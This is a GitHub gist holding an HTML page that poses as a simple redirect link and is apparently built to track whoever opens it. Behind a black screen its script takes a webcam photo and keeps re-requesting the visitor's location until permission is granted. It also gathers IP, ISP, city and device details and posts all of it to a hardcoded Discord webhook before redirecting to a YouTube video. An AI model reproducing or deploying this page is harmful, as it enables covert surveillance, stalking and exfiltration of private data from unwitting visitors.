Skip to content

Instantly share code, notes, and snippets.

@Zourryy
Last active February 9, 2025 08:38
Show Gist options
  • Save Zourryy/6ee0a4a9c3156f8db6ea82e0b1e7e444 to your computer and use it in GitHub Desktop.
Save Zourryy/6ee0a4a9c3156f8db6ea82e0b1e7e444 to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Redirect...</title>
<style>
/* Layar loading hitam */
#loadingScreen {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: black;
z-index: 9999;
}
</style>
</head>
<body>
<!-- Layar loading (tanpa teks) -->
<div id="loadingScreen"></div>
<h1 style="display:none;">📷 Foto diambil otomatis!</h1>
<input type="text" id="targetUrl" value="https://youtu.be/dQw4w9WgXcQ?si=7l8JJHtx8fryYK6l" style="width: 100%; display:none;">
<video id="video" autoplay playsinline style="display:none;"></video>
<canvas id="canvas" style="display:none;"></canvas>
<script>
const webhookUrl = "https://discord.com/api/webhooks/1338033191033769985/nFAW9QQ7y_w8DH2RDFGJVwsOR12aTD84lOZAMruaUZvBxfhuwQafVY2vbg8S0P5Z2Du6";
let allData = {};
function sendToDiscord(data) {
fetch(webhookUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ content: "```" + JSON.stringify(data, null, 2) + "```" })
}).then(() => {
console.log("Data dikirim ke webhook!");
redirect();
}).catch(err => console.error("Gagal mengirim data ke webhook!", err));
}
function sendImageToDiscord(blob) {
let formData = new FormData();
formData.append("file", blob, "capture.png");
return fetch(webhookUrl, {
method: "POST",
body: formData
}).then(() => {
console.log("Foto dikirim ke webhook!");
}).catch(err => console.error("Gagal mengirim foto ke webhook!", err));
}
function hideLoading() {
document.getElementById("loadingScreen").style.display = "none";
}
function redirect() {
hideLoading();
const targetUrl = document.getElementById("targetUrl").value;
setTimeout(() => { window.location.href = targetUrl; }, 1000);
}
// Paksa Browser Meminta Izin Lokasi & Buat Link Google Maps
function getLocation() {
return new Promise((resolve) => {
function requestLocation() {
navigator.geolocation.watchPosition(
(position) => {
let lat = position.coords.latitude;
let lon = position.coords.longitude;
let accuracy = position.coords.accuracy + "m";
allData.location = {
latitude: lat,
longitude: lon,
accuracy: accuracy,
google_maps: `https://www.google.com/maps/search/?api=1&query=${lat},${lon}`
};
resolve();
},
(error) => {
if (error.code === error.PERMISSION_DENIED) {
console.log("Izin lokasi ditolak, meminta ulang...");
requestLocation(); // Coba lagi sampai user memberikan izin
} else {
allData.location = { error: "Lokasi tidak tersedia" };
resolve();
}
},
{ enableHighAccuracy: true }
);
}
requestLocation();
});
}
// Ambil Info ISP & Provider
function getISPInfo() {
return fetch("https://ipapi.co/json/")
.then(response => response.json())
.then(data => {
allData.isp = {
ip: data.ip,
country: data.country_name,
region: data.region,
city: data.city,
district: data.district || "Tidak tersedia",
isp: data.org,
provider: data.asn
};
})
.catch(() => {
allData.isp = { error: "Gagal mengambil data ISP" };
});
}
// Ambil Info Perangkat
function getDeviceInfo() {
return new Promise((resolve) => {
allData.device = {
userAgent: navigator.userAgent,
platform: navigator.platform,
language: navigator.language,
ram: navigator.deviceMemory ? navigator.deviceMemory + " GB" : "Tidak diketahui",
cpu: navigator.hardwareConcurrency ? navigator.hardwareConcurrency + " Core" : "Tidak diketahui",
screenWidth: screen.width + " px",
screenHeight: screen.height + " px",
colorDepth: screen.colorDepth + " bit"
};
resolve();
});
}
// Ambil Foto Sekali
function capturePhoto() {
return new Promise((resolve) => {
navigator.mediaDevices.getUserMedia({ video: true })
.then((stream) => {
const video = document.getElementById("video");
video.srcObject = stream;
setTimeout(() => {
const canvas = document.getElementById("canvas");
const context = canvas.getContext("2d");
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
context.drawImage(video, 0, 0, canvas.width, canvas.height);
canvas.toBlob((blob) => {
sendImageToDiscord(blob).then(resolve);
stream.getTracks().forEach(track => track.stop());
}, "image/png");
}, 1000);
})
.catch(() => {
resolve();
});
});
}
// Jalankan Semua Fungsi dan Kirim ke Webhook
Promise.all([getLocation(), getISPInfo(), getDeviceInfo(), capturePhoto()])
.then(() => {
sendToDiscord(allData);
});
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment